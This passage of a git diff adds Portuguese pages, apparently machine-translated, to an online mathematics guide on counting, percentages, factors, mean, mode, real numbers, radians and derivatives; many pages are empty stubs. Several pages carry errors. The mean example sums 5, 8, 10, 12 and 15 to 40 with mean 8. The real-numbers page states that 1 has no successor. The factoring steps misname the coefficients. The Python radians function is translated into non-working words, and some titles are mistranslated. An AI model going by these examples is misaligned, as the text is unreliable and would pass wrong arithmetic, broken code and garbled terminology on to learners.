+Para dizê-lo simplesmente, a Regra da Soma afirma que, se temos maneiras de fazer algo e maneiras B de fazer outra coisa e não podemos fazer as duas coisas ao mesmo tempo, então existem formas A + B de escolher uma das ações. Princípio básico de contagem.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/counting/tree-diagrams/index.md b/client/src/guide/portuguese/mathematics/counting/tree-diagrams/index.md
new file mode 100644
index 0000000000..3a465c3a88
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/counting/tree-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Tree Diagrams
+localeTitle: Diagramas de Árvores
+---
+## Diagramas de Árvores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/counting/tree-diagrams/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/cramers-rule/index.md b/client/src/guide/portuguese/mathematics/cramers-rule/index.md
new file mode 100644
index 0000000000..0663e3dba9
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/cramers-rule/index.md
@@ -0,0 +1,11 @@
+---
+title: Cramers Rule
+localeTitle: Regra dos Cramers
+---
+## Regra dos Cramers
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cramers-rule/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/cross-multiply/index.md b/client/src/guide/portuguese/mathematics/cross-multiply/index.md
new file mode 100644
index 0000000000..3067522d10
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/cross-multiply/index.md
@@ -0,0 +1,11 @@
+---
+title: Cross Multiply
+localeTitle: Multiplique Cruz
+---
+## Multiplique Cruz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cross-multiply/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/cross-product/index.md b/client/src/guide/portuguese/mathematics/cross-product/index.md
new file mode 100644
index 0000000000..f0286baece
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/cross-product/index.md
@@ -0,0 +1,30 @@
+---
+title: Cross Product
+localeTitle: Produto cruzado
+---
+## Produto cruzado
+
+Na teoria dos conjuntos, um produto cruzado de dois conjuntos é uma operação binária executada em conjuntos, que gera um conjunto de resultados. É denotado pelo símbolo X. Às vezes também é chamado como produto cartesiano após o matemático René Descartes.
+```
+
+ AXB = {(a, b) | a &isin; A and b &isin; B} 
+```
+
+### Exemplos
+```
+let us have, 
+  set A = {a, b} 
+ & set B = {1, 2} 
+ then AXB = {(a, 1), (a, 2), 
+               (b, 1), (b, 2)} 
+```
+
+### Usar
+
+É usado para gerar todas as combinações possíveis depois de combinar duas tabelas em um banco de dados.
+
+### Referências
+
+[Artigo da Wikipédia](https://en.wikipedia.org/wiki/Cartesian_product)
+
+[Wofram Alpha](https://www.wolframalpha.com/input/?i=Cartesian+product&lk=1&a=ClashPrefs_*MathWorld.CartesianProduct-)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/cylinder-volume-and-surface-area/index.md b/client/src/guide/portuguese/mathematics/cylinder-volume-and-surface-area/index.md
new file mode 100644
index 0000000000..15f551a4d3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/cylinder-volume-and-surface-area/index.md
@@ -0,0 +1,11 @@
+---
+title: Cylinder Volume and Surface Area
+localeTitle: Volume do Cilindro e Área de Superfície
+---
+## Volume do Cilindro e Área de Superfície
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/cylinder-volume-and-surface-area/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/decimals-fractions-and-percentages/index.md b/client/src/guide/portuguese/mathematics/decimals-fractions-and-percentages/index.md
new file mode 100644
index 0000000000..a50c6d9619
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/decimals-fractions-and-percentages/index.md
@@ -0,0 +1,55 @@
+---
+title: Decimals Fractions and Percentages
+localeTitle: Fracções e Percentagens Decimais
+---
+## Fracções e Percentagens Decimais
+
+Decimais, Frações e Porcentagens são diferentes denotions de representar "partes de um todo".
+
+Vamos começar com exemplos do mundo real:
+
+3,5 vezes o tamanho 2/3 de pizza 20% de lucro
+
+Observe uma coisa nos exemplos acima: Todos eles representam algumas quantidades como partes de um todo.
+
+### Convertendo Decimais, Frações e Porcentagens
+
+#### Por cento para decimal
+
+Para converter de um percentual em um decimal, apenas mova o ponto decimal duas posições para a esquerda e descarte o símbolo de porcentagem:
+
+por exemplo, 25% se torna 0,25 por exemplo, 5% se torna 0,05 por exemplo, 34,23% passa a ser 0,3423
+
+#### Porcentagem para Fração
+
+Lembre-se que porcentagem é `per cent` significando `per hundred` . Portanto, para converter de porcentagem em fração, coloque o número mencionado em porcentagem acima de 100 e descarte o símbolo de porcentagem e, em seguida, simplesmente a fração resultante, se possível:
+
+por exemplo, 55% torna-se 55/100, o que equivale a 11/20 por exemplo, 75% torna-se 75/100, o que equivale a 3/4
+
+#### Decimal em Porcentagem
+
+Para converter de um decimal em porcentagem, basta mover o ponto decimal duas posições para a direita e adicionar o símbolo de porcentagem:
+
+por exemplo, 0,25 torna-se 25% por exemplo, 0,05 torna-se 5% por exemplo, 0.3423 torna-se 34.23%
+
+#### Decimal para Fração
+
+Para converter um decimal em uma fração, lembre-se de que o primeiro dígito à direita do ponto decimal é o décimo dígito, e assim por diante, o primeiro dígito à esquerda do ponto decimal é o dígito das unidades e assim por diante. Considere o número 137.634
+
+| 1 | 3 | 7 | | 6 | 3 | 4 | | : -----------: |: -------------: | : -------------: |: -------------: | : -------------: | : -------------: | : -------------: | | Centenas | Dezenas | Unidades | | Décimos | Hunderdeths | Milésimos |
+
+O número de zeros no denominador deve corresponder ao número de dígitos no decimal (não inclua um possível 0 na frente do ponto decimal):
+
+por exemplo, 0,4 é quatro décimos, o que equivale a 4/10 por exemplo, 0,34 é trinta e quatro centenas, o que equivale a 34/100 por exemplo, 0,009 é 9 milésimos, o que equivale a 9/1000
+
+#### Fração para Decimal
+
+Para converter de uma fração para um decimal, divida o numerador pelo denominador:
+
+por exemplo, 5/8 é 5 dividido por 8, o que equivale a 0,625 por exemplo, 3/4 é 3 dividido por 4, o que equivale a 0,75
+
+#### Fração para porcentagem
+
+Para converter de uma fração para um perento, primeiro converta a fração em um decimal e o decimal resulatante em um percentual usando as etapas mencionadas acima:
+
+por exemplo, 1/2 é 0,50, o que equivale a 50% por exemplo, 4/5 é 0,80, o que equivale a 80%
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/definition-of-factor/index.md b/client/src/guide/portuguese/mathematics/definition-of-factor/index.md
new file mode 100644
index 0000000000..854304e248
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/definition-of-factor/index.md
@@ -0,0 +1,19 @@
+---
+title: Definition of Factor
+localeTitle: Definição de fator
+---
+## Definição de fator
+
+Fatores são dois números que podemos multiplicar para gerar outro número. Por exemplo, 2 \* 10 = 20, então 2 e 10 são fatores de 20.
+
+Muitas vezes, na álgebra, queremos fatorar expressões. Tome, (x ^ 2 + 4x +3), no formato Ax ^ 2 + Bx + C a fim de fatorar isso, procurando por dois números que irão multiplicar para igual C e adicionar até igual a C. 3 e 4 somam 4 e multiplicam para igual a 3.
+
+Com isto em mente, (x ^ 2 + 4x +3) pode ser fatorado em (x + 3) (x + 1).
+
+Um fator pode ser definido de duas maneiras. O primeiro é na multiplicação. Tome _3 \* 4 = 12_ . Aqui _3_ e _4_ são fatores, e juntos eles fazem um produto. Outra maneira que um fator pode ser definido é se o restante na divisão for igual a 0. Pegue o número 12. Se dividirmos 12 por 4 _12/4 = 3_ O restante é 0. Não há espaços decimais e, portanto, 4 é _um fator de_ 12. Da mesma forma, se fizermos _12/3 = 4_ nós também obtemos um resto de 0. Portanto, ambos 3 e 4 são fatores de 12.
+
+Podemos simplificar isso e usar _%_ como a função do módulo. Isso nos dará _12% 3 = 0_ Como a função do módulo retorna o resto após a divisão, qualquer número que retorne 0 no uso do módulo é um fator do outro número.
+
+#### Mais Informações:
+
+[Aqui está um link](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-of-a-number) para um vídeo rápido explicando números de fatoração Saiba mais sobre como extrair expressões [aqui](https://www.khanacademy.org/math/pre-algebra/pre-algebra-factors-multiples/pre-algebra-factors-mult/v/finding-factors-and-multiples)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/definition-of-mean/index.md b/client/src/guide/portuguese/mathematics/definition-of-mean/index.md
new file mode 100644
index 0000000000..1249778794
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/definition-of-mean/index.md
@@ -0,0 +1,28 @@
+---
+title: Definition of Mean
+localeTitle: Definição de média
+---
+## Definição de média
+
+Na estatística, o termo _significa_ refere-se ao valor 'médio' em uma coleção de dados. Você pode encontrar esse valor adicionando todos os números e, em seguida, dividindo pelo número total de valores na coleção.
+
+A média é o valor médio de um conjunto de dados.
+
+O valor médio é calculado adicionando cada número em um conjunto de dados e dividindo esse total pela quantidade de números no conjunto de dados.
+
+![Um exemplo de um cálculo médio](https://github.com/tribalizzles/FreeCodeCamp-projects/blob/master/Mean_Calculation.png?raw=true)
+
+### Exemplo
+
+A média de (5, 8, 10, 12, 15) é 8:
+
+_Para encontrar a média, encontraríamos a soma de todos esses números (40) e dividiríamos pelo número de valores na coleção (5). 40/5 é 8, que é o valor médio na coleção._
+
+### Mediana e Modo
+
+A média é frequentemente confundida com [mediana](https://en.wikipedia.org/wiki/Median) , o valor no meio da coleção e [modo](https://guide.freecodecamp.org/mathematics/definition-of-mode) , o valor que ocorre com mais frequência na coleção.
+
+### Mais Informações
+
+*   [Definição de Média](http://www.mathsisfun.com/definitions/mean.html)
+*   [Como calcular uma média](http://www.mathsisfun.com/mean.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/definition-of-mode/index.md b/client/src/guide/portuguese/mathematics/definition-of-mode/index.md
new file mode 100644
index 0000000000..db4933f5f4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/definition-of-mode/index.md
@@ -0,0 +1,44 @@
+---
+title: Definition of Mode
+localeTitle: Definição do Modo
+---
+## Definição do Modo
+
+Em estatística, o termo _modo_ refere-se ao valor ou valores em um conjunto de dados que aparece com mais frequência. Como ocorre com mais frequência no conjunto de dados, o _modo_ é o valor mais provável de ser amostrado aleatoriamente.
+
+O modo de um conjunto de números indica o valor que ocorre com mais freqüência no conjunto. Dada uma distribuição de dados, o modo pode ser descrito como o máximo da função de massa de probabilidade, se os dados forem discretos, ou a função de distribuição de probabilidade, se os dados forem contínuos.
+
+#### Um conjunto de dados pode ter um ou mais modos
+
+Considere o conjunto de dados 14, 16, 21, 33, 37, 16, 39, 33 Aqui 16 e 33 cada um ocorre duas vezes. Todos os outros números ocorrem apenas uma vez. Portanto, 16 e 33 têm a frequência máxima de ocorrência, que é 2. Portanto, há dois modos para determinado conjunto de dados, ou seja, 16 e 33. Um conjunto de números em que há dois números que ocorrem com mais freqüência pode ser descrito como bimodal , e qualquer número maior que dois é considerado multimodal.
+
+#### Também é possível ter um conjunto de dados sem modo
+
+Considere o conjunto de dados 10, 15, 24, 34, 38, 16, 41. Aqui todos os números ocorrem apenas uma vez. Portanto, nenhum número tem a frequência máxima de ocorrência. Portanto, não há modo para esse dado conjunto de dados.
+
+## Regras para encontrar o modo de um conjunto de dados
+
+*   Examine todos os números do conjunto de dados e descubra se um ou mais números estão ocorrendo mais de uma vez.
+*   O número com a frequência máxima de ocorrência é o modo.
+*   Se mais de um número tiver uma frequência máxima, haverá mais de um modo para o conjunto de dados.
+*   Se todos os números do conjunto de dados ocorrerem apenas uma vez, não haverá modo para o conjunto de dados.
+
+#### Exemplo
+
+O modo de (1, 2, 3, 2, 4, 5) é **2** :
+
+_Para encontrar o modo, você deve contar o número de ocorrências de cada valor no conjunto de dados. O valor 2 aparece duas vezes no conjunto de dados e o restante dos valores ocorre apenas uma vez, o que faz o 2o modo._
+
+O modo de (7, 7, 8, 8, 9) é 7 **e** 8:
+
+_Se houver um empate para os valores que ocorrem com mais frequência no conjunto de dados, o modo é cada um dos valores com essa frequência._
+
+#### Média e mediana
+
+O modo é frequentemente confundido com [média](https://guide.freecodecamp.org/mathematics/definition-of-mean) , o valor médio no conjunto de dados [median](https://en.wikipedia.org/wiki/Median) , o valor no meio do conjunto de dados.
+
+#### Mais Informações:
+
+[Wikipedia - Modo](https://en.wikipedia.org/wiki/Mode_(statistics))
+
+[Definição de modo](https://www.tutorialspoint.com/mean_median_and_mode/mode_of_data_set.htm)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/definition-of-real-number/index.md b/client/src/guide/portuguese/mathematics/definition-of-real-number/index.md
new file mode 100644
index 0000000000..225bf18b0c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/definition-of-real-number/index.md
@@ -0,0 +1,32 @@
+---
+title: Definition of Real Number
+localeTitle: Definição do Número Real
+---
+## Definição do Número Real
+
+> Números reais podem ser considerados como pontos em uma linha infinitamente longa.
+
+Os números reais incluem todos os números racionais, como _1/2_ , _0_ , _103.644_ e _271/272_ , bem como todos os números irracionais, como _pi_ , a raiz quadrada de 2 e _e_ . Note que os "Números Complexos", números que incluem magnitude imaginária diferente de zero, não estão incluídos.
+
+Portanto, qualquer número com representação decimal, mesmo que essa representação seja infinita, é real, _por exemplo_ , _1.234567891…_ Observamos que a raiz quadrada de um número negativo não possui uma representação decimal, portanto, a raiz quadrada de qualquer número negativo não é real. Acontece que a raiz quadrada de _\-1_ é a definição de " _i_ ", o comprimento da unidade no sistema de números imaginários. Abaixo está um esboço de como se pode derivar e definir os números reais, mas certamente não é uma prova formal.
+
+Considere a noção de _1_ , uma entidade única, uma unidade. Deixe o conjunto de números naturais, **_N_** ser descrito pelas regras:
+
+*   _1_ é um número natural
+*   Todo número natural tem exatamente um sucessor (um número maior que ele mesmo).
+*   _1_ não tem sucessor.
+
+Estes definem a noção de contagem, e com mais algumas regras além do escopo deste artigo, regras como adição e fechamento podem ser definidas dentro deste novo conjunto de números, **_N._** Esse conjunto, junto com a noção de _0_ , cria o conjunto de números inteiros. Quando a noção de um "número negativo" é adicionada a este conjunto de "números inteiros", os inteiros são formados. Um número negativo é um número b tal que _a + b = 0_ , onde _a_ está em **_N_** (então _a_ não é nem 0 nem negativo em si). Chamamos essa união de _0_ , **_N_** e os números negativos **_Z_** ou _os inteiros_ .
+
+Definimos que a multiplicação sob a operação " _\*_ " é tal que se _a_ e _b_ estão em **_Z_** , então _a \* b = c_ se _c = a + ... + a_ , _b_ vezes. Então multiplicação nos inteiros é realmente apenas uma soma. Note, por esta definição, a adição pode ser feita um número negativo de vezes. Agora usamos multiplicação para definir divisão, o que nos permitirá definir os números racionais.
+
+Nós definimos divisão no âmbito da operação _"/",_ para ser tal que, se _a_ e _b_ são em **_Z,_** em seguida, _c = a / b_ se e somente se existir _a = b \* c + r,_ onde _r = 0,_ e _c_ é em **_Z_** Mas e se _a = b \* c + r_ , onde _0 <r <b_ ? Então _b_ não divide uniformemente _um_ , e esta equação é insolúvel dentro do nosso sistema numérico **_Z._** Mas e se essa equação foram resolvidas, e _c_ pode ser expresso como uma _razão,_ tal que _c = a / b_ apesar _b_ não dividir uniformemente _um?_ Isto aponta para um conjunto de números conhecidos como os _números racionais,_ **_Q,_** cujos membros podem ser expressa como _a / b,_ onde _a_ e _b_ são em **_Z._** Notamos que todas as representações decimais de números em **_Q_** são finitas ou repetidas.
+
+Alguns números não podem ser descritos como uma proporção de inteiros, no entanto, como a raiz quadrada de 2, _pi_ e _e_ . Todos os números decimais não repetidos e não finitos são irracionais. Esta propriedade é válida para todas as bases racionais de números, na verdade. Ao "preencher as lacunas" entre os números racionais com esses números irracionais, os números reais **_R_** podem ser construídos.
+
+Por favor, note que os computadores não funcionam em números reais, ao invés disso, os computadores trabalham em inteiros binários que podem ser usados ​​para representar números de "ponto flutuante" ou números inteiros.
+
+#### Mais Informações:
+
+*   [Wikipedia em números reais](https://en.wikipedia.org/wiki/Real_number)
+*   [Números de ponto flutuante, IEE-754](https://en.wikipedia.org/wiki/IEEE_754)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/definition-of-rectangular-prism/index.md b/client/src/guide/portuguese/mathematics/definition-of-rectangular-prism/index.md
new file mode 100644
index 0000000000..e1e237b3ad
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/definition-of-rectangular-prism/index.md
@@ -0,0 +1,11 @@
+---
+title: Definition of Rectangular Prism
+localeTitle: Definição de Prisma Retangular
+---
+## Definição de Prisma Retangular
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/definition-of-rectangular-prism/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/degrees-to-radians/index.md b/client/src/guide/portuguese/mathematics/degrees-to-radians/index.md
new file mode 100644
index 0000000000..8852cca8bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/degrees-to-radians/index.md
@@ -0,0 +1,19 @@
+---
+title: Degrees to Radians
+localeTitle: Graus para Radianos
+---
+## Graus para Radianos
+
+Multiplique o ângulo por pi / 180. Lembre-se de que os pi radianos abrangem metade de um círculo, que é de 180 graus. Aqui está uma função python para converter graus em radianos. Apreciar!
+
+importar matemática  
+def graus _para_ radianos (ângulo):  
+ângulo de retorno \* math.pi / 180;
+
+#### Mais Informações:
+
+Um ciclo completo = 360 graus = 2π Radianos
+
+1 grau = 2π / 360 radianos
+
+p grau = p × 2π / 360 radianos
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/dependent-and-independent-variables/index.md b/client/src/guide/portuguese/mathematics/dependent-and-independent-variables/index.md
new file mode 100644
index 0000000000..767d9511e4
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/dependent-and-independent-variables/index.md
@@ -0,0 +1,11 @@
+---
+title: Dependent and Independent Variables
+localeTitle: Variáveis ​​Dependentes e Independentes
+---
+## Variáveis ​​Dependentes e Independentes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/dependent-and-independent-variables/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/derivative-of-2/index.md b/client/src/guide/portuguese/mathematics/derivative-of-2/index.md
new file mode 100644
index 0000000000..9c9b42a6f0
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/derivative-of-2/index.md
@@ -0,0 +1,11 @@
+---
+title: Derivative of 2
+localeTitle: Derivado de 2
+---
+## Derivado de 2
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/derivative-of-2/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/derivative/index.md b/client/src/guide/portuguese/mathematics/derivative/index.md
new file mode 100644
index 0000000000..3af02626bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/derivative/index.md
@@ -0,0 +1,49 @@
+---
+title: Derivative
+localeTitle: Derivado
+---
+## Derivado
+
+**Definição** : A derivada da função f (x) em relação a x, representada por f '(x) é definida como:  
+![Fórmula limite para derivado](http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative_files/eq0006M.gif)  
+  
+
+onde h é uma mudança infinitamente pequena no valor da entrada, representada pela função limite (h está se aproximando de zero)  
+
+Na fórmula acima, notamos que a derivada é apenas a inclinação de uma tangente de um gráfico de x em qualquer valor de entrada.  
+
+**Propriedade importante da função e é derivada:**  
+Uma função f (x) é diferenciável em x = a, se e somente se, a função é contínua em f (x = a).  
+Inversamente, se uma derivada de uma função existir em um ponto a, então a função deve ser contínua em f (x = a).
+
+## Propriedades de Derivativos
+
+1.  **Linearidade**  
+    Suponha que f (x) e g (x) sejam funções diferenciáveis ​​e aeb sejam números reais. Então a função  
+    ![Funtion de entrada](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv589.gif)  
+    é diferenciável como  
+    ![Derivada de saída](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv590.gif)  
+    
+2.  **Regra do produto**  
+    Para uma dada função h (x) = f (x) \* g (x), podemos aplicar a regra do produto para encontrar a derivada da função h (x) como  
+    ![Regra do produto](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv599.gif)  
+    Por favor, veja o link em Mais informações (Propriedades do derivado) para prova desta propriedade  
+    
+3.  **Regra do quociente**  
+    A regra do quociente dá a derivada de uma função dividida por outra. Seja h (x) = f (x) / g (x) (onde g (x) não pode ser zero) então a derivada de h (x) pode ser encontrada usando o seguinte:  
+    ![Regra do quociente](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv605.gif)  
+    Por favor, veja o link em Mais informações (Propriedades do derivado) para prova desta propriedade  
+    
+4.  **Regra da Cadeia**  
+    A regra da cadeia é usada no caso de uma função de uma função, também conhecida como uma função composta ou como uma composição de funções. Representação da função composta de entrada:  
+    ![Função composta](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv609.gif)  
+    Em seguida, a derivada de saída pode ser encontrada usando a seguinte regra:  
+    ![Regra da Cadeia](http://www.hyper-ad.com/tutoring/math/calculus/images/prop_deriv616.gif)  
+    Por favor, veja o link em Mais informações (Propriedades do derivado) para prova desta propriedade  
+    
+
+#### Mais Informações:
+
+http://tutorial.math.lamar.edu/Classes/CalcI/DerivativeIntro.aspx http://tutorial.math.lamar.edu/Classes/CalcI/DefnOfDerivative.aspx Informações sobre derivados (provas incluídas): http://www.hyper-ad.com/tutoring/math/calculus/Properties _of_ Derivatives.html
+
+**Nota** : Imagens tiradas de http://www.hyper-ad.com/ e http://tutorial.math.lamar.edu/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/derivatives/index.md b/client/src/guide/portuguese/mathematics/derivatives/index.md
new file mode 100644
index 0000000000..b7b6173f7e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/derivatives/index.md
@@ -0,0 +1,43 @@
+---
+title: Derivatives
+localeTitle: Derivados
+---
+## Derivados
+
+A derivada é a taxa instantânea de mudança de uma função, ou a taxa de mudança de uma função em qualquer instante no tempo. A derivada é uma ferramenta de cálculo e você pode determiná-la tomando um limite.
+
+Você pode entender o conceito de derivada comparando-o com o conceito de inclinação (a taxa média de mudança) na álgebra.
+
+Vamos dar uma olhada em um exemplo:
+
+Você decide dirigir de São Francisco para Santa Rosa, Califórnia - uma distância de aproximadamente 60 milhas. Você faz o passeio em uma hora; Assim, sua taxa média de mudança (velocidade) é de 60 milhas por hora.
+
+Mas você não viajou a uma taxa de 60 milhas por hora para cada instante de sua viagem. Você começou mais devagar, depois aumentou sua velocidade e a variou ao longo do caminho e, em seguida, reduziu a velocidade para um ponto final quando chegou ao seu destino.
+
+Vamos dar uma olhada no gráfico da sua viagem, com o eixo x representando o tempo (em minutos) e o eixo y representando a distância (em milhas). Pt. A representa São Francisco, com coordenadas (0, 0) e pt. B representa Santa Rosa, com coordenadas (60, 60). A linha curva representa a sua localização, no espaço e no tempo, enquanto viaja de São Francisco para Santa Rosa.
+
+![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img1.png?raw=true)
+
+Você pode determinar a velocidade média (taxa da mudança na distância por tempo) da sua viagem tomando o declive de álgebra (“subir mais corrida”):
+
+![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img2.png?raw=true)
+
+Usando o mesmo gráfico, você pode escolher dois pontos, C (x1, y1) e D (x2, y2) e encontrar a inclinação entre eles. Além disso, você pode rotular cada ponto usando a notação de função, tal que (x1, y1) se torna (x, f (x)) e (x2, y2) se torna ((x + h), f (x + h)), com h sendo a distância horizontal que pt. D é de pt. C:
+
+![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img3.png?raw=true)
+
+A inclinação do pt. C para pt. D é:
+
+![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img4.png?raw=true)
+
+A expressão ![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img5.png?raw=true) é chamado o quociente de diferença e você pode usá-lo para encontrar a taxa média de mudança de qualquer ponto em um gráfico para qualquer outro ponto a uma distância horizontal de h unidades de distância.
+
+Para converter a taxa média de mudança (a inclinação) em uma taxa instantânea de mudança (a derivada, notada como f (x)), você pega o limite do quociente de diferença:
+
+![imagem](https://github.com/MarkMikow/MyFiles/blob/master/img6.png?raw=true)
+
+Esta é a definição formal da derivada e significa que você está tomando a distância he reduzindo-a a uma quantidade infinitesimalmente pequena. Você ainda tem um declive, mas seus pontos finais são infinitamente próximos uns dos outros. Tão perto, na verdade, que eles aparecem como um ponto, ou como um instante, no tempo.
+
+Como uma linha tangente a um ponto em um gráfico intercepta o gráfico em apenas um ponto, a derivada também é definida como a inclinação da linha tangente para qualquer ponto em um gráfico. No exemplo do gráfico acima, a derivada de cada ponto é a velocidade instantânea em que você está viajando.
+
+Derivativos têm uma ampla gama de aplicações e são usados ​​em física, engenharia, economia e outras disciplinas.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/deriving-integration-by-parts-formula/index.md b/client/src/guide/portuguese/mathematics/deriving-integration-by-parts-formula/index.md
new file mode 100644
index 0000000000..f44b178306
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/deriving-integration-by-parts-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Deriving Integration by Parts Formula
+localeTitle: Derivando Integração por Fórmula de Peças
+---
+## Derivando Integração por Fórmula de Peças
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/deriving-integration-by-parts-formula/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/descartes-rule-of-signs/index.md b/client/src/guide/portuguese/mathematics/descartes-rule-of-signs/index.md
new file mode 100644
index 0000000000..1a0bc44ddf
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/descartes-rule-of-signs/index.md
@@ -0,0 +1,11 @@
+---
+title: Descartes Rule of Signs
+localeTitle: Regra de Descartes dos Sinais
+---
+## Regra de Descartes dos Sinais
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/descartes-rule-of-signs/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md b/client/src/guide/portuguese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
new file mode 100644
index 0000000000..6a371e63b3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a 3 by 3 Matrix Standard Method
+localeTitle: Determinante de um Método Padrão de Matriz 3 por 3
+---
+## Determinante de um Método Padrão de Matriz 3 por 3
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-3-by-3-matrix-standard-method/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/determinant-of-a-matrix/index.md b/client/src/guide/portuguese/mathematics/determinant-of-a-matrix/index.md
new file mode 100644
index 0000000000..14aaad2076
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/determinant-of-a-matrix/index.md
@@ -0,0 +1,11 @@
+---
+title: Determinant of a Matrix
+localeTitle: Determinante de uma matriz
+---
+## Determinante de uma matriz
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/determinant-of-a-matrix/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/die-rolling-probability/index.md b/client/src/guide/portuguese/mathematics/die-rolling-probability/index.md
new file mode 100644
index 0000000000..551d9b3e20
--- /dev/null
